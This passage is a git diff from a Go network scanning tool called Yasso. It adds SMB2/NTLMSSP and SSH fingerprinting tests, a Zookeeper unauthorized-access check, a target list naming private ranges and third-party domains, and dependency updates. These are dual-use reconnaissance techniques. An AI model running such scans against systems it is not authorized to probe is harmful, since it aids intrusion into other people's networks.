ZookeeperConn(info config.HostIn) (bool, error) { n, err := conn.Read(reply) if err == nil { if bytes.Contains(reply[:n], []byte("Environment")) { - Println(fmt.Sprintf("[+] zookeeper %s unauthorized", fmt.Sprintf("%v:%v", info.Host, info.Port))) + logger.Success(fmt.Sprintf("zookeeper %s unauthorized", fmt.Sprintf("%v:%v", info.Hostname, info.Port))) return true, nil } } diff --git a/core/utils/utils.go b/core/utils/utils.go new file mode 100644 index 0000000..cf4ff35 --- /dev/null +++ b/core/utils/utils.go @@ -0,0 +1,26 @@ +package utils + +import ( + "encoding/hex" + "fmt" + "strings" +) + +func ByteToStringParse(p []byte) string { + var w []string + var res string + for i := 0; i < len(p); i++ { + if p[i] > 32 && p[i] < 127 { + w = append(w, string(p[i])) + continue + } + asciiTo16 := fmt.Sprintf("\\x%s", hex.EncodeToString(p[i:i+1])) + w = append(w, asciiTo16) + } + res = strings.Join(w, "") + if strings.Contains(res, "\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00") { + s := strings.Split(res, "\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00") + return s[0] + } + return res +} diff --git a/example.txt b/example.txt new file mode 100644 index 0000000..cb82801 --- /dev/null +++ b/example.txt @@ -0,0 +1,5 @@ +192.168.1.1/24 +www.baidu.com +192.168.248.1-13 +sairson.cn +1ight.top/123456 \ No newline at end of file diff --git a/example/tcp_smb_test.go b/example/tcp_smb_test.go new file mode 100644 index 0000000..b32f1ef --- /dev/null +++ b/example/tcp_smb_test.go @@ -0,0 +1,593 @@ +package example + +import ( + "bytes" + crand "crypto/rand" + "encoding/binary" + "encoding/hex" + "fmt" + "io" + "net" + "strings" + "testing" + "time" +) + +func Test(t *testing.T) { + res, _, err := smb2("192.168.248.224", 445, 1*time.Second) + if err != nil || res["ntlmssp.Version"] == "" { + return + } else { + banner := fmt.Sprintf("Version:%s||DNSComputer:%s||TargetName:%s||NetbiosComputer:%s", + res["ntlmssp.Version"], + res["ntlmssp.DNSComputer"], + res["ntlmssp.TargetName"], + res["ntlmssp.NetbiosComputer"], + ) + fmt.Println(banner) + return + } +} + +// smb2 from https://github.com/RumbleDiscovery/rumble-tools/blob/main/cmd/rumble-smb2-sessions/main.go +func smb2(host string, port int, timeout time.Duration) (map[string]string, []byte, error) { + // SMB1NegotiateProtocolRequest is a SMB1 request that advertises support for SMB2 + var smb1NegotiateProtocolRequest = []byte{ + 0x00, 0x00, 0x00, 0xd4, 0xff, 0x53, 0x4d, 0x42, + 0x72, 0x00, 0x00, 0x00, 0x00, 0x18, 0x43, 0xc8, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xfe, 0xff, + 0x00, 0x00, 0x00, 0x00, 0x00, 0xb1, 0x00, 0x02, + 0x50, 0x43, 0x20, 0x4e, 0x45, 0x54, 0x57, 0x4f, + 0x52, 0x4b, 0x20, 0x50, 0x52, 0x4f, 0x47, 0x52, + 0x41, 0x4d, 0x20, 0x31, 0x2e, 0x30, 0x00, 0x02, + 0x4d, 0x49, 0x43, 0x52, 0x4f, 0x53, 0x4f, 0x46, + 0x54, 0x20, 0x4e, 0x45, 0x54, 0x57, 0x4f, 0x52, + 0x4b, 0x53, 0x20, 0x31, 0x2e, 0x30, 0x33, 0x00, + 0x02, 0x4d, 0x49, 0x43, 0x52, 0x4f, 0x53, 0x4f, + 0x46, 0x54, 0x20, 0x4e, 0x45, 0x54, 0x57, 0x4f, + 0x52, 0x4b, 0x53, 0x20, 0x33, 0x2e, 0x30, 0x00, + 0x02, 0x4c, 0x41, 0x4e, 0x4d, 0x41, 0x4e, 0x31, + 0x2e, 0x30, 0x00, 0x02, 0x4c, 0x4d, 0x31, 0x2e, + 0x32, 0x58, 0x30, 0x30, 0x32, 0x00, 0x02, 0x44, + 0x4f, 0x53, 0x20, 0x4c, 0x41, 0x4e, 0x4d, 0x41, + 0x4e, 0x32, 0x2e, 0x31, 0x00, 0x02, 0x4c, 0x41, + 0x4e, 0x4d, 0x41, 0x4e, 0x32, 0x2e, 0x31, 0x00, + 0x02, 0x53, 0x61, 0x6d, 0x62, 0x61, 0x00, 0x02, + 0x4e, 0x54, 0x20, 0x4c, 0x41, 0x4e, 0x4d, 0x41, + 0x4e, 0x20, 0x31, 0x2e, 0x30, 0x00, 0x02, 0x4e, + 0x54, 0x20, 0x4c, 0x4d, 0x20, 0x30, 0x2e, 0x31, + 0x32, 0x00, 0x02, 0x53, 0x4d, 0x42, 0x20, 0x32, + 0x2e, 0x30, 0x30, 0x32, 0x00, 0x02, 0x53, 0x4d, + 0x42, 0x20, 0x32, 0x2e, 0x3f, 0x3f, 0x3f, 0x00, + } + fmt.Println(string(smb1NegotiateProtocolRequest)) + info := make(map[string]string) + conn, err := net.DialTimeout("tcp", fmt.Sprintf("%v:%v", host, port), timeout) + if err != nil { + return info, []byte{}, err + } + err = SMBSendData(conn, smb1NegotiateProtocolRequest, timeout) + if err != nil { + return info, []byte{}, err + } + + data, err := SMBReadFrame(conn, timeout) + if err != nil { + return info, []byte{}, err + } + + err = SMBSendData(conn, SMB2NegotiateProtocolRequest(host), timeout) + if err != nil { + return info, []byte{}, err + } + + data, _ = SMBReadFrame(conn, timeout) + SMB2ExtractFieldsFromNegotiateReply(data, info) + + // SMB2SessionSetupNTLMSSP is a SMB2 SessionSetup NTLMSSP request + var smb2SessionSetupNTLMSSP = []byte{ + 0x00, 0x00, 0x00, 0xa2, 0xfe, 0x53, 0x4d, 0x42, + 0x40, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x01, 0x00, 0x21, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x19, 0x00, 0x00, 0x01, + 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x58, 0x00, 0x4a, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x60, 0x48, 0x06, 0x06, + 0x2b, 0x06, 0x01, 0x05, 0x05, 0x02, 0xa0, 0x3e, + 0x30, 0x3c, 0xa0, 0x0e, 0x30, 0x0c, 0x06, 0x0a, + 0x2b, 0x06, 0x01, 0x04, 0x01, 0x82, 0x37, 0x02, + 0x02, 0x0a, 0xa2, 0x2a, 0x04, 0x28, 0x4e, 0x54, + 0x4c, 0x4d, 0x53, 0x53, 0x50, 0x00, 0x01, 0x00, + 0x00, 0x00, 0x97, 0x82, 0x08, 0xe2, 0x00, 0x00, + 0x00, 0x00, 0x28, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x28, 0x00, 0x00, 0x00, 0x0a, 0x00, + 0xba, 0x47, 0x00, 0x00, 0x00, 0x0f, + } + + setup := make([]byte, len(smb2SessionSetupNTLMSSP)) + copy(setup, smb2SessionSetupNTLMSSP) + + // Set the ProcessID + binary.LittleEndian.PutUint16(setup[4+32:], 0xfeff) + + err = SMBSendData(conn, setup, timeout) + if err != nil { + return info, []byte{}, err + } + + data, err = SMBReadFrame(conn, timeout) + SMB2ExtractSIDFromSessionSetupReply(data, info) + SMBExtractFieldsFromSecurityBlob(data, info) + + return info, data, err +} + +// RandomBytes generates a random byte sequence of the requested length +func RandomBytes(numBytes int) []byte { + randBytes := make([]byte, numBytes) + err := binary.Read(crand.Reader, binary.BigEndian, &randBytes) + if err != nil { + return nil + } + return randBytes +} + +// SMBReadFrame reads the netBios header then the full response +func SMBReadFrame(conn net.Conn, t time.Duration) ([]byte, error) { + timeout := time.Now().Add(time.Duration(t) * time.Second) + res := []byte{} + nbh := make([]byte, 4) + + err := conn.SetReadDeadline(timeout) + if err != nil { + return res, err + } + + // Read the NetBIOS header + n, err := conn.Read(nbh[:]) + if err != nil { + // Return if EOF is reached + if err == io.EOF { + return res, nil + } + + // Return if timeout is reached + if err, ok := err.(net.Error); ok && err.Timeout() { + return res, nil + } + + // If we have data and received an error, it was probably a reset + if len(res) > 0 { + return res, nil + } + + return res, err + } + + if n != 4 { + return res, nil + } + + res = append(res[:], nbh[:n]...) + dlen := binary.BigEndian.Uint32(nbh[:]) & 0x00ffffff + buf := make([]byte, dlen) + n, err = conn.Read(buf[:]) + if err != nil { + // Return if EOF is reached + if err == io.EOF { + return res, nil + } + + // Return if timeout is reached + if err, ok := err.(net.Error); ok && err.Timeout() { + return res, nil + } + + // If we have data and received an error, it was probably a reset + if len(res) > 0 { + return res, nil + } + + return res, err + } + res = append(res[:], buf[:n]...) + return res, nil +} + +// SMB2ExtractFieldsFromNegotiateReply extracts useful fields from the SMB2 negotiate response +func SMB2ExtractFieldsFromNegotiateReply(blob []byte, info map[string]string) { + + smbOffset := bytes.Index(blob, []byte{0xfe, 'S', 'M', 'B'}) + if smbOffset < 0 { + return + } + + data := blob[smbOffset:] + + // Basic sanity check + if len(data) < (64 + 8 + 16 + 36) { + return + } + + switch binary.LittleEndian.Uint16(data[64+2:]) { + case 0: + info["smb.Signing"] = "disabled" + case 1: + info["smb.Signing"] = "enabled" + case 2, 3: + info["smb.Signing"] = "required" + } + + info["smb.Dialect"] = fmt.Sprintf("0x%.4x", binary.LittleEndian.Uint16(data[64+4:])) + //info["smb.GUID"] = uuid.FromBytesOrNil(data[64+8 : 64+8+16]).String() + info["smb.Capabilities"] = fmt.Sprintf("0x%.8x", binary.LittleEndian.Uint32(data[64+8+16:])) + + negCtxCount := int(binary.LittleEndian.Uint16(data[64+6:])) + negCtxOffset := int(binary.LittleEndian.Uint32(data[64+8+16+36:])) + if negCtxCount == 0 || negCtxOffset == 0 || negCtxOffset+(negCtxCount*8) > len(data) { + return + } + + negCtxData := data[negCtxOffset:] + idx := 0 + for { + if idx+8 > len(negCtxData) { + break + } + negType := int(binary.LittleEndian.Uint16(negCtxData[idx:])) + negLen := int(binary.LittleEndian.Uint16(negCtxData[idx+2:])) + idx += 8 + + if idx+negLen > len(negCtxData) { + break + } + negData := negCtxData[idx : idx+negLen] + + SMB2ParseNegotiateContext(negType, negData, info) + + // Move the index to the next context + idx += negLen + // Negotiate Contexts are aligned on 64-bit boundaries + for idx%8 != 0 { + idx++ + } + } +} + +// SMB2ParseNegotiateContext decodes fields from the SMB2 Negotiate Context values +func SMB2ParseNegotiateContext(t int, data []byte, info map[string]string) { + switch t { + case 1: + // SMB2_PREAUTH_INTEGRITY_CAPABILITIES + if len(data) < 6 { + return + } + hashCount := int(binary.LittleEndian.Uint16(data[:])) + // MUST only be one in responses + if hashCount != 1 { + return + } + hashSaltLen := int(binary.LittleEndian.Uint16(data[2:])) + hashType := int(binary.LittleEndian.Uint16(data[4:])) + hashName := "sha512" + if hashType != 1 { + hashName = fmt.Sprintf("unknown-%d", hashType) + } + info["smb.HashAlg"] = hashName + info["smb.HashSaltLen"] = fmt.Sprintf("%d", hashSaltLen) + + case 2: + // SMB2_ENCRYPTION_CAPABILITIES + if len(data) < 4 { + return + } + cipherCount := int(binary.LittleEndian.Uint16(data[:])) + if len(data) < 2+(2*cipherCount) { + return + } + // MUST only be one in responses + if cipherCount != 1 { + return + } + cipherList := []string{} + for i := 0; i < cipherCount; i++ { + cipherID := int(binary.LittleEndian.Uint16(data[2+(i*2):])) + cipherName := "" + switch cipherID { + case 1: + cipherName = "aes-128-ccm" + case 2: + cipherName = "aes-128-gcm" + default: + cipherName = fmt.Sprintf("unknown-%d", cipherID) + } + cipherList = append(cipherList, cipherName) + } + + info["smb.CipherAlg"] = strings.Join(cipherList, "\t") + + case 3: + // SMB2_COMPRESSION_CAPABILITIES + if len(data) < 10 { + return + } + compCount := int(binary.LittleEndian.Uint16(data[:])) + if len(data) < 2+2+4+(2*compCount) { + return + } + // MUST only be one in responses + if compCount != 1 { + return + } + compList := []string{} + for i := 0; i < compCount; i++ { + compID := int(binary.LittleEndian.Uint16(data[8+(i*2):])) + compName := "" + switch compID { + case 0: + compName = "none" + case 1: + compName = "lznt1" + case 2: + compName = "lz77" + case 3: + compName = "lz77+huff" + case 4: + compName = "patternv1" + default: + compName = fmt.Sprintf("unknown-%d", compID) + } + compList = append(compList, compName) + } + info["smb.CompressionFlags"] = fmt.Sprintf("0x%.4x", binary.LittleEndian.Uint32(data[4:])) + info["smb.CompressionAlg"] = strings.Join(compList, "\t") + } +} + +// SMBSendData writes a SMB request to a socket +func SMBSendData(conn net.Conn, data []byte, timeout time.Duration) error { + err := conn.SetWriteDeadline(time.Now().Add(time.Duration(timeout) * time.Second)) + if err != nil { + return err + } + + n, err := conn.Write(data) + if err != nil { + return err + } + _ = n + + return nil +} + +// SMB2ExtractSIDFromSessionSetupReply tries to extract the SessionID and Signature from a SMB2 reply +func SMB2ExtractSIDFromSessionSetupReply(blob []byte, info map[string]string) { + smbOffset := bytes.Index(blob, []byte{0xfe, 'S', 'M', 'B'}) + if smbOffset < 0 { + return + } + + smbData := blob[smbOffset:] + if len(smbData) < 48 { + return + } + + status := binary.LittleEndian.Uint32(smbData[8:]) + info["smb.Status"] = fmt.Sprintf("0x%.8x", status) + + sessID := binary.LittleEndian.Uint64(smbData[40:]) + info["smb.SessionID"] = fmt.Sprintf("0x%.16x", sessID) + + if len(smbData) >= 64 { + sigData := hex.EncodeToString(smbData[48:64]) + if sigData != "00000000000000000000000000000000" { + info["smb.Signature"] = sigData + } + } +} + +// SMBExtractValueFromOffset peels a field out of a SMB buffer +func SMBExtractValueFromOffset(blob []byte, idx int) ([]byte, int, error) { + res := []byte{} + + if len(blob) < (idx + 6) { + return res, idx, fmt.Errorf("data truncated") + } + + len1 := binary.LittleEndian.Uint16(blob[idx:]) + idx += 2 + + // len2 := binary.LittleEndian.Uint16(blob[idx:]) + idx += 2 + + off := binary.LittleEndian.Uint32(blob[idx:]) + idx += 4 + + // Allow zero length values + if len1 == 0 { + return res, idx, nil + } + + if len(blob) < int(off+uint32(len1)) { + return res, idx, fmt.Errorf("data value truncated") + } + + res = append(res, blob[off:off+uint32(len1)]...) + return res, idx, nil +} + +// SMBExtractFieldsFromSecurityBlob extracts fields from the NTLMSSP response +func SMBExtractFieldsFromSecurityBlob(blob []byte, info map[string]string) { + var err error + + ntlmsspOffset := bytes.Index(blob, []byte{'N', 'T', 'L', 'M', 'S', 'S', 'P', 0x00, 0x02, 0x00, 0x00, 0x00}) + if ntlmsspOffset < 0 { + return + } + + data := blob[ntlmsspOffset:] + + // Basic sanity check + if len(data) < (12 + 6 + 12 + 8 + 6 + 8) { + return + } + + idx := 12 + + targetName, idx, err := SMBExtractValueFromOffset(data, idx) + if err != nil { + return + } + + // Negotiate Flags + negotiateFlags := binary.LittleEndian.Uint32(data[idx:]) + info["ntlmssp.NegotiationFlags"] = fmt.Sprintf("0x%.8x", negotiateFlags) + idx += 4 + + // NTLM Server Challenge + idx += 8 + + // Reserved + idx += 8 + + // Target Info + targetInfo, idx, err := SMBExtractValueFromOffset(data, idx) + if err != nil { + return + } + + // Version + versionMajor := uint8(data[idx]) + idx++ + + versionMinor := uint8(data[idx]) + idx++ + + versionBuild := binary.LittleEndian.Uint16(data[idx:]) + idx += 2 + + ntlmRevision := binary.BigEndian.Uint32(data[idx:]) + + // macOS reverses the endian order of this field for some reason + if ntlmRevision == 251658240 { + ntlmRevision = binary.LittleEndian.Uint32(data[idx:]) + } + + info["ntlmssp.Version"] = fmt.Sprintf("%d.%d.%d", versionMajor, versionMinor, versionBuild) + info["ntlmssp.NTLMRevision"] = fmt.Sprintf("%d", ntlmRevision) + info["ntlmssp.TargetName"] = TrimName(string(targetName)) + + idx = 0 + for { + if idx+4 > len(targetInfo) { + break + } + + attrType := binary.LittleEndian.Uint16(targetInfo[idx:]) + idx += 2 + + // End of List + if attrType == 0 { + break + } + + attrLen := binary.LittleEndian.Uint16(targetInfo[idx:]) + idx += 2 + + if idx+int(attrLen) > len(targetInfo) { + // log.Printf("too short: %d/%d", idx+int(attrLen), len(targetInfo)) + break + } + + attrVal := targetInfo[idx : idx+int(attrLen)] + idx += int(attrLen) + + switch attrType { + case 1: + info["ntlmssp.NetbiosComputer"] = TrimName(string(attrVal)) + case 2: + info["ntlmssp.NetbiosDomain"] = TrimName(string(attrVal)) + case 3: + info["ntlmssp.DNSComputer"] = TrimName(string(attrVal)) + case 4: + info["ntlmssp.DNSDomain"] = TrimName(string(attrVal)) + case 7: + ts := binary.LittleEndian.Uint64(attrVal[:]) + info["ntlmssp.Timestamp"] = fmt.Sprintf("0x%.16x", ts) + + } + + // End of List + if attrType == 0 { + break + } + } +} + +// TrimName removes null bytes and trims leading and trailing spaces from a string +func TrimName(name string) string { + return strings.TrimSpace(strings.Replace(name, "\x00", "", -1)) +} + +// SMB2NegotiateProtocolRequest generates a new Negotiate request with the specified target name +func SMB2NegotiateProtocolRequest(dst string) []byte { + + base := []byte{ + 0xfe, 0x53, 0x4d, 0x42, + 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xff, 0xfe, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x24, 0x00, 0x05, 0x00, + 0x01, 0x00, 0x00, 0x00, 0x7f, 0x00, 0x00, 0x00, + } + + // Client GUID (16) + base = append(base[:], RandomBytes(16)...) + + base = append(base[:], []byte{ + 0x70, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, + 0x02, 0x02, 0x10, 0x02, 0x00, 0x03, 0x02, 0x03, + 0x11, 0x03, 0x00, 0x00, 0x01, 0x00, 0x26, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x20, 0x00, + 0x01, 0x00, + }...) + + // SHA-512 Salt (32) + base = append(base[:], RandomBytes(32)...) + + base = append(base[:], []byte{ + 0x00, 0x00, 0x02, 0x00, 0x06, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x02, 0x00, + 0x01, 0x00, 0x00, 0x00, 0x03, 0x00, 0x0e, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x03, 0x00, + 0x01, 0x00, 0x00, 0x00, + }...) + + encodedDst := make([]byte, len(dst)*2) + for i, b := range []byte(dst) { + encodedDst[i*2] = b + } + + netname := []byte{0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00} + binary.LittleEndian.PutUint16(netname[2:], uint16(len(encodedDst))) + netname = append(netname, encodedDst...) + + base = append(base, netname...) + + nbhd := make([]byte, 4) + binary.BigEndian.PutUint32(nbhd, uint32(len(base))) + nbhd = append(nbhd, base...) + fmt.Println(string(nbhd)) + return nbhd +} diff --git a/example/tcp_ssh_test.go b/example/tcp_ssh_test.go new file mode 100644 index 0000000..e67a23c --- /dev/null +++ b/example/tcp_ssh_test.go @@ -0,0 +1,76 @@ +package example + +import ( + "bytes" + "encoding/hex" + "fmt" + "net" + "regexp" + "strings" + "testing" + "time" +) + +func TcpProtocol(host string, port int, timeout time.Duration) ([]byte, error) { + conn, err := net.DialTimeout("tcp", fmt.Sprintf("%v:%v", host, port), time.Duration(timeout)) + if err != nil { + return nil, err + } + _ = conn.SetDeadline(time.Now().Add(time.Duration(2) * time.Second)) + reply := make([]byte, 256) + _, err = conn.Read(reply) + + var buffer [256]byte + if err == nil && bytes.Equal(reply[:], buffer[:]) == false { + if conn != nil { + _ = conn.Close() + } + return reply, nil + } + conn, err = net.DialTimeout("tcp", fmt.Sprintf("%v:%v", host, port), time.Duration(timeout)) + if err != nil { + return nil, err + } + msg := "GET /test HTTP/1.1\r\n\r\n" + _, err = conn.Write([]byte(msg)) + if err != nil { + return nil, err + } + _ = conn.SetDeadline(time.Now().Add(time.Duration(2) * time.Second)) + reply = make([]byte, 256) + _, _ = conn.Read(reply) + if conn != nil { + _ = conn.Close() + } + return reply, nil +} +func ByteToStringParse1(p []byte) string { + var w []string + var res string + for i := 0; i < len(p); i++ { + if p[i] > 32 && p[i] < 127 { + w = append(w, string(p[i])) + continue + } + asciiTo16 := fmt.Sprintf("\\x%s", hex.EncodeToString(p[i:i+1])) + w = append(w, asciiTo16) + } + res = strings.Join(w, "") + if strings.Contains(res, "\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00") { + s := strings.Split(res, "\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00") + return s[0] + } + return res +} +func Test1(test *testing.T) { + buff, err := TcpProtocol("192.168.248.203", 22, 1*time.Second) + if err != nil { + fmt.Println(err) + } + ok, _ := regexp.Match(`^SSH.\d`, buff) + str := ByteToStringParse1(buff) + fmt.Println(ok, str) + if ok { + fmt.Println(strings.Split(str, "\\x0d\\x0a")[0]) + } +} diff --git a/go.mod b/go.mod index d5dd3b7..925a7b1 100644 --- a/go.mod +++ b/go.mod @@ -1,29 +1,67 @@ module Yasso -go 1.16 +go 1.17 require ( - github.com/cheggaaa/pb/v3 v3.0.8 - github.com/denisenkom/go-mssqldb v0.11.0 + github.com/audibleblink/bamflags v1.0.0 + github.com/bwmarrin/go-objectsid v0.0.0-20191126144531-5fee401a2f37 + github.com/denisenkom/go-mssqldb v0.12.0 + github.com/go-ping/ping v0.0.0-20211130115550-779d1e919534 github.com/go-redis/redis/v8 v8.11.5 + github.com/go-rod/rod v0.107.0 github.com/go-sql-driver/mysql v1.6.0 - github.com/huin/asn1ber v0.0.0-20120622192748-af09f62e6358 // indirect - github.com/jlaffaye/ftp v0.0.0-20211117213618-11820403398b - github.com/lib/pq v1.10.4 + github.com/gookit/color v1.5.0 + github.com/huin/asn1ber v0.0.0-20120622192748-af09f62e6358 + github.com/icodeface/tls v0.0.0-20190904083142-17aec93c60e5 + github.com/jedib0t/go-pretty/v6 v6.3.1 + github.com/jlaffaye/ftp v0.0.0-20220310202011-d2c44e311e78 + github.com/lunixbochs/struc v0.0.0-20200707160740-784aaebc1d40 github.com/masterzen/winrm v0.0.0-20211231115050-232efb40349e - github.com/mattn/go-runewidth v0.0.13 // indirect - github.com/olekukonko/tablewriter v0.0.5 - github.com/panjf2000/ants/v2 v2.4.7 github.com/projectdiscovery/cdncheck v0.0.3 - github.com/spf13/cobra v1.3.0 + github.com/spf13/cobra v1.4.0 github.com/stacktitan/smb v0.0.0-20190531122847-da9a425dceb8 - github.com/tomatome/grdp v0.0.0-20211016064301-f2f15c171086 golang.org/x/crypto v0.0.0-20211215153901-e495a2d5b3d3 - golang.org/x/net v0.0.0-20211216030914-fe4d6282115f - golang.org/x/term v0.0.0-20210927222741-03fcf44c2211 // indirect golang.org/x/text v0.3.7 + gopkg.in/ldap.v2 v2.5.1 gopkg.in/mgo.v2 v2.0.0-20190816093944-a6b53ec6cb22 ) -// 这里引入的是shadow1ng师傅的grdp包,之前引入一直不成功,go的基础还是太差 -replace github.com/tomatome/grdp v0.0.0-20211016064301-f2f15c171086 => github.com/shadow1ng/grdp v1.0.3 +require ( + github.com/Azure/go-ntlmssp v0.0.0-20211209120228-48547f28849e // indirect + github.com/ChrisTrenkamp/goxpath v0.0.0-20210404020558-97928f7e12b6 // indirect + github.com/cespare/xxhash/v2 v2.1.2 // indirect + github.com/dgryski/go-rendezvous v0.0.0-20200823014737-9f7001d12a5f // indirect + github.com/gofrs/uuid v4.2.0+incompatible // indirect + github.com/golang-sql/civil v0.0.0-20190719163853-cb61b32ac6fe // indirect + github.com/golang-sql/sqlexp v0.0.0-20170517235910-f1bb20e5a188 // indirect + github.com/google/uuid v1.2.0 // indirect + github.com/hashicorp/errwrap v1.0.0 // indirect + github.com/hashicorp/go-multierror v1.1.1 // indirect + github.com/hashicorp/go-uuid v1.0.2 // indirect + github.com/inconshreveable/mousetrap v1.0.0 // indirect + github.com/jcmturner/aescts/v2 v2.0.0 // indirect + github.com/jcmturner/dnsutils/v2 v2.0.0 // indirect + github.com/jcmturner/gofork v1.0.0 // indirect + github.com/jcmturner/goidentity/v6 v6.0.1 // indirect + github.com/jcmturner/gokrb5/v8 v8.4.2 // indirect + github.com/jcmturner/rpc/v2 v2.0.3 // indirect + github.com/json-iterator/go v1.1.12 // indirect + github.com/masterzen/simplexml v0.0.0-20190410153822-31eea3082786 // indirect + github.com/mattn/go-runewidth v0.0.13 // indirect + github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd // indirect + github.com/modern-go/reflect2 v1.0.2 // indirect + github.com/rivo/uniseg v0.2.0 // indirect + github.com/spf13/pflag v1.0.5 // indirect + github.com/xo/terminfo v0.0.0-20210125001918-ca9a967f8778 // indirect + github.com/yl2chen/cidranger v1.0.2 // indirect + github.com/ysmood/goob v0.4.0 // indirect + github.com/ysmood/gson v0.7.1 // indirect + github.com/ysmood/leakless v0.7.0 // indirect + golang.org/x/net v0.0.0-20211216030914-fe4d6282115f // indirect + golang.org/x/sync v0.0.0-20210220032951-036812b2e83c // indirect + golang.org/x/sys v0.0.0-20211216021012-1d35b9e2eb4e // indirect + golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1 // indirect + gopkg.in/asn1-ber.v1 v1.0.0-20181015200546-f715ec2f112d // indirect +) + +replace github.com/tomatome/grdp v0.0.0-20211231062539-be8adab7eaf3 => github.com/shadow1ng/grdp v1.0.3 diff --git a/go.sum b/go.sum index 5f514bb..2b308c5 100644 --- a/go.sum +++ b/go.sum @@ -1,301 +1,81 @@ -cloud.google.com/go v0.26.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw= -cloud.google.com/go v0.34.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw= -cloud.google.com/go v0.38.0/go.mod h1:990N+gfupTy94rShfmMCWGDn0LpTmnzTp2qbd1dvSRU= -cloud.google.com/go v0.44.1/go.mod h1:iSa0KzasP4Uvy3f1mN/7PiObzGgflwredwwASm/v6AU= -cloud.google.com/go v0.44.2/go.mod h1:60680Gw3Yr4ikxnPRS/oxxkBccT6SA1yMk63TGekxKY= -cloud.google.com/go v0.45.1/go.mod h1:RpBamKRgapWJb87xiFSdk4g1CME7QZg3uwTez+TSTjc= -cloud.google.com/go v0.46.3/go.mod h1:a6bKKbmY7er1mI7TEI4lsAkts/mkhTSZK8w33B4RAg0= -cloud.google.com/go v0.50.0/go.mod h1:r9sluTvynVuxRIOHXQEHMFffphuXHOMZMycpNR5e6To= -cloud.google.com/go v0.52.0/go.mod h1:pXajvRH/6o3+F9jDHZWQ5PbGhn+o8w9qiu/CffaVdO4= -cloud.google.com/go v0.53.0/go.mod h1:fp/UouUEsRkN6ryDKNW/Upv/JBKnv6WDthjR6+vze6M= -cloud.google.com/go v0.54.0/go.mod h1:1rq2OEkV3YMf6n/9ZvGWI3GWw0VoqH/1x2nd8Is/bPc= -cloud.google.com/go v0.56.0/go.mod h1:jr7tqZxxKOVYizybht9+26Z/gUq7tiRzu+ACVAMbKVk= -cloud.google.com/go v0.57.0/go.mod h1:oXiQ6Rzq3RAkkY7N6t3TcE6jE+CIBBbA36lwQ1JyzZs= -cloud.google.com/go v0.62.0/go.mod h1:jmCYTdRCQuc1PHIIJ/maLInMho30T/Y0M4hTdTShOYc= -cloud.google.com/go v0.65.0/go.mod h1:O5N8zS7uWy9vkA9vayVHs65eM1ubvY4h553ofrNHObY= -cloud.google.com/go v0.72.0/go.mod h1:M+5Vjvlc2wnp6tjzE102Dw08nGShTscUx2nZMufOKPI= -cloud.google.com/go v0.74.0/go.mod h1:VV1xSbzvo+9QJOxLDaJfTjx5e+MePCpCWwvftOeQmWk= -cloud.google.com/go v0.78.0/go.mod h1:QjdrLG0uq+YwhjoVOLsS1t7TW8fs36kLs4XO5R5ECHg= -cloud.google.com/go v0.79.0/go.mod h1:3bzgcEeQlzbuEAYu4mrWhKqWjmpprinYgKJLgKHnbb8= -cloud.google.com/go v0.81.0/go.mod h1:mk/AM35KwGk/Nm2YSeZbxXdrNK3KZOYHmLkOqC2V6E0= -cloud.google.com/go v0.83.0/go.mod h1:Z7MJUsANfY0pYPdw0lbnivPx4/vhy/e2FEkSkF7vAVY= -cloud.google.com/go v0.84.0/go.mod h1:RazrYuxIK6Kb7YrzzhPoLmCVzl7Sup4NrbKPg8KHSUM= -cloud.google.com/go v0.87.0/go.mod h1:TpDYlFy7vuLzZMMZ+B6iRiELaY7z/gJPaqbMx6mlWcY= -cloud.google.com/go v0.90.0/go.mod h1:kRX0mNRHe0e2rC6oNakvwQqzyDmg57xJ+SZU1eT2aDQ= -cloud.google.com/go v0.93.3/go.mod h1:8utlLll2EF5XMAV15woO4lSbWQlk8rer9aLOfLh7+YI= -cloud.google.com/go v0.94.1/go.mod h1:qAlAugsXlC+JWO+Bke5vCtc9ONxjQT3drlTTnAplMW4= -cloud.google.com/go v0.97.0/go.mod h1:GF7l59pYBVlXQIBLx3a761cZ41F9bBH3JUlihCt2Udc= -cloud.google.com/go v0.98.0/go.mod 